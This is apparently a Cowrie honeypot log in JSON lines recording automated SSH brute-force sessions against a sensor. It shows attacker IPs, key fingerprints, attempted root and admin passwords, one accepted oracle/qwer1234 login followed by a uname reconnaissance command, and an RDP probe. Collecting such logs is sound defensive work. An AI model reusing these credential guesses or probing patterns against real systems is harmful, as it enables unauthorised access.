{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:6e:ee:10:4f:fb:47:dd:e8:f6:d4:8b:65:21:49:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tlYf+D/xvHovtxJttwWovOjjwRR9WE/nua60sjGdnUlLbdP5cC35c586pQDj/QvcuA7ogtvBfK04H20h3X/K831zEFPE2MjnDl0u4yCAGgyBLR4/dX7pUQYQJiJMlvJmxCyjzlRkUM+T5F2RSQyuaY4fI177BpqrN+QLtfPSbAnxZWVwy19p3fzGZ859nSMI7k+Jh3ws6FEfigi4QMtaWbj1ohpkycGtO5fsWqE29btrGy4hsO73EwsB7lZ5D6AYIV1JWzR2QsyWdvJ0rWAuRDIKvVXhbx85rwzRmv20oaoS95eC0XVr7tbrosoQcNuzL8CKjwP4j+otqmuIDKvx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.827926Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:87:34:62:bb:6e:f1:75:a2:ff:f1:dc:fc:3a:17:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVTjkyCrODXCXCPlD4Ud1+5+Lr+rPP21B4CbP+TgYPiCn179X3Rh5wvXrGmvzy+JiUDKWI095NsVT05qSnV+ff9FKexSfDT3aWNngy4P7DrzvM23CECJiUeDUwkrlWZkRD8lLYcOXQVOR+URcN/97untasEEbe09Hp9H2ghYRtBBL6MUzIQwyH2JHRW9FqXqGmhb1QhYkvvOjhCU10yCSMig8FyR92kF7WIhDu7gkVvyAxUxxd6kPQvNM3vLNzlGdsY6lxFP0OtkIyDtY02GimWu12ckeNqNnHnaKjkP4RBBCFNghVmzvxLV8bEXjup3FBAIHBxVA/TUygFPBVu67w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:87:34:62:bb:6e:f1:75:a2:ff:f1:dc:fc:3a:17:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.984412Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:87:34:62:bb:6e:f1:75:a2:ff:f1:dc:fc:3a:17:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVTjkyCrODXCXCPlD4Ud1+5+Lr+rPP21B4CbP+TgYPiCn179X3Rh5wvXrGmvzy+JiUDKWI095NsVT05qSnV+ff9FKexSfDT3aWNngy4P7DrzvM23CECJiUeDUwkrlWZkRD8lLYcOXQVOR+URcN/97untasEEbe09Hp9H2ghYRtBBL6MUzIQwyH2JHRW9FqXqGmhb1QhYkvvOjhCU10yCSMig8FyR92kF7WIhDu7gkVvyAxUxxd6kPQvNM3vLNzlGdsY6lxFP0OtkIyDtY02GimWu12ckeNqNnHnaKjkP4RBBCFNghVmzvxLV8bEXjup3FBAIHBxVA/TUygFPBVu67w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.987863Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:a5:c7:93:e6:b3:8e:6b:f2:ac:26:6e:36:71:33:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA09yGBbAXU+XaCeGKql3vlNvS2GJYyOfF7ZNi0po/te1V2r/SbJddr+UPyAnL640E5i9l9g/y0PlL/X3ZbJODEbCz5CFYgGG3/K7PPN4l6EkM2zUSCPRMHkCmUbOCHmfWAl3TG8lmi84udPYckU4/izkEWaH2+RWF1qEcj22c0Cw/kM1MhIk1BNkFDEdjf7OdWIFqjJIGn6HxclBdjUJ6tbbpEm8YVEo5X0s4uMP1ePcPN9vO53k9/hBDj+wkJ0Y0lzou23ACAb/4ARcZ3TfcApRfa3ufORbUwwygm6dNDKxM2usrQC2Pxr6l5FFxQMk3jT+z66Ntxz6HoX9CvgkLwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:a5:c7:93:e6:b3:8e:6b:f2:ac:26:6e:36:71:33:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.060279Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:a5:c7:93:e6:b3:8e:6b:f2:ac:26:6e:36:71:33:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA09yGBbAXU+XaCeGKql3vlNvS2GJYyOfF7ZNi0po/te1V2r/SbJddr+UPyAnL640E5i9l9g/y0PlL/X3ZbJODEbCz5CFYgGG3/K7PPN4l6EkM2zUSCPRMHkCmUbOCHmfWAl3TG8lmi84udPYckU4/izkEWaH2+RWF1qEcj22c0Cw/kM1MhIk1BNkFDEdjf7OdWIFqjJIGn6HxclBdjUJ6tbbpEm8YVEo5X0s4uMP1ePcPN9vO53k9/hBDj+wkJ0Y0lzou23ACAb/4ARcZ3TfcApRfa3ufORbUwwygm6dNDKxM2usrQC2Pxr6l5FFxQMk3jT+z66Ntxz6HoX9CvgkLwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.064502Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:20:cf:99:aa:45:36:66:1e:e2:27:c6:a6:d4:30:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArrklSOU3FT508i0Wwu9yL+pz7jbFk4V4EQXekKv7ND/STbgVKgSDKAUORSpcQzCEPyHql8r3AeKrzNKgAmc3kZoQlbq2NGrHn/4Sm45Hgd6/5kItHcZkkfK/g275lHfLs3mwxhpmg2c2XSf7qeK30h1GZ/uiEcgfIztYGhLu6UH7dKE9Zmi1qlLUCTsBfd8II50NGR1FxWA1haIkuzLmuDDYI9FKh/tqBPDuZXL5Qa2aJtEY2PuSzLpW4hns/C/6YWe+y0obz94bVhX9dPAJW8W4f++OPUV2tBb2Roj6aVmrWZdNBlUJ5nhIlnZ/s57zKnfVzITJ5c1fo3WXQqDZHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:20:cf:99:aa:45:36:66:1e:e2:27:c6:a6:d4:30:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.139305Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:20:cf:99:aa:45:36:66:1e:e2:27:c6:a6:d4:30:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArrklSOU3FT508i0Wwu9yL+pz7jbFk4V4EQXekKv7ND/STbgVKgSDKAUORSpcQzCEPyHql8r3AeKrzNKgAmc3kZoQlbq2NGrHn/4Sm45Hgd6/5kItHcZkkfK/g275lHfLs3mwxhpmg2c2XSf7qeK30h1GZ/uiEcgfIztYGhLu6UH7dKE9Zmi1qlLUCTsBfd8II50NGR1FxWA1haIkuzLmuDDYI9FKh/tqBPDuZXL5Qa2aJtEY2PuSzLpW4hns/C/6YWe+y0obz94bVhX9dPAJW8W4f++OPUV2tBb2Roj6aVmrWZdNBlUJ5nhIlnZ/s57zKnfVzITJ5c1fo3WXQqDZHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.142915Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:e9:11:52:26:ab:5e:ff:30:d5:e1:20:19:17:57:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAor/RHwgIQfe9u5HwUitERoGuFJ0iyBYAx3P4+cv7MCGiayql1ZowPPEpqniUnb5DmnhV38qlHwyI6AwkLetehNlHRVdp5645myJnfdL57+oQ+wzcuCJlpUY282yugLHGpEOuUqO6G7zytGMdor0K5h6aT+av0y2yeZ+51FHVMGa/PCkFpvP6hhcQ4bTrO1MRSk1x7sVtBQa8W/nw6vIaCnoDrtuJ3wdv/me8W7jrfj8VXLgoleOF5tX+rak7VxMBkEOYDmMJItMouSP6MQZJaux/dMyw0EOGvzGsPIgifskH67uouRqveTiOmpkIq/NeZux7Nq2SXfvrDYabIBkStQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:e9:11:52:26:ab:5e:ff:30:d5:e1:20:19:17:57:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.216401Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:e9:11:52:26:ab:5e:ff:30:d5:e1:20:19:17:57:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAor/RHwgIQfe9u5HwUitERoGuFJ0iyBYAx3P4+cv7MCGiayql1ZowPPEpqniUnb5DmnhV38qlHwyI6AwkLetehNlHRVdp5645myJnfdL57+oQ+wzcuCJlpUY282yugLHGpEOuUqO6G7zytGMdor0K5h6aT+av0y2yeZ+51FHVMGa/PCkFpvP6hhcQ4bTrO1MRSk1x7sVtBQa8W/nw6vIaCnoDrtuJ3wdv/me8W7jrfj8VXLgoleOF5tX+rak7VxMBkEOYDmMJItMouSP6MQZJaux/dMyw0EOGvzGsPIgifskH67uouRqveTiOmpkIq/NeZux7Nq2SXfvrDYabIBkStQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.220642Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:00.295614Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57530,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c83ecf16c9a","protocol":"ssh","message":"New connection: 103.122.221.179:57530 (10.17.0.5:22) [session: 5c83ecf16c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:08.834477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:08.839080Z","src_ip":"103.122.221.179","session":"5c83ecf16c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:09.777301Z","src_ip":"103.122.221.179","session":"5c83ecf16c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsqujl","message":"login attempt [root/yjdsqujl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:10.510454Z","src_ip":"103.122.221.179","session":"5c83ecf16c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:11.758240Z","src_ip":"103.122.221.179","session":"5c83ecf16c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":55088,"dst_ip":"159.203.135.109","dst_port":22,"session":"940440207c35","protocol":"ssh","message":"New connection: 193.32.162.151:55088 (159.203.135.109:22) [session: 940440207c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:50.901122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:50.905726Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.008755Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwer1234","message":"login attempt [oracle/qwer1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.310651Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.556476Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.559953Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.664003Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:11:51.669131Z","src_ip":"193.32.162.151","session":"940440207c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49455,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b501bd0675","protocol":"ssh","message":"New connection: 152.42.212.128:49455 (159.203.135.109:22) [session: 49b501bd0675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:30.304582Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:30.309453Z","src_ip":"152.42.212.128","session":"49b501bd0675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:30.313532Z","src_ip":"152.42.212.128","session":"49b501bd0675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60602,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6f050d2232","protocol":"ssh","message":"New connection: 2.57.121.112:60602 (159.203.135.109:22) [session: 1d6f050d2232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:31.411159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:31.416019Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:31.520661Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310384","message":"login attempt [admin/310384] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:32.007850Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31031969","message":"login attempt [admin/31031969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:33.115649Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.251","src_port":52918,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab79e181d254","protocol":"ssh","message":"New connection: 209.90.232.251:52918 (10.17.0.5:22) [session: ab79e181d254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.194192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.198879Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310192","message":"login attempt [admin/310192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.223583Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.273869Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:9e:74:57:89:9c:9e:ca:0c:ff:e4:21:c6:1a:96:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiaNHn7wWD2bSE/avRrYBKETTz/T/WVVCy3PYi7LldNKqNPGrEHiLOkcUhIr+UCXS2+6H9WgzZho5pGY4mctYMXVCHq7McbVQY+gN85ZgEYgJxMvagZDnlOqxtJNN9i+BGtvT9gZj2l8Z0U2qSRtj55aFHd/WwE1OWRlH3hDJK1QBIQA9hxXAuBxZKtITUXfA5nb8wFsaefFQy5Y/jvtYTlczXygSQSRKXntcIxXnBycJL3bsSzx0d2pgjlsygy4Pb9/Un/kNFZSwQCGAUvvZ3/N9IkH1Sgz2bXfxu/JtmTk6hU4uxoXCIz6Wi8OFZakg+C0tIvQKmzylnMROAmsp5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:9e:74:57:89:9c:9e:ca:0c:ff:e4:21:c6:1a:96:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.627536Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
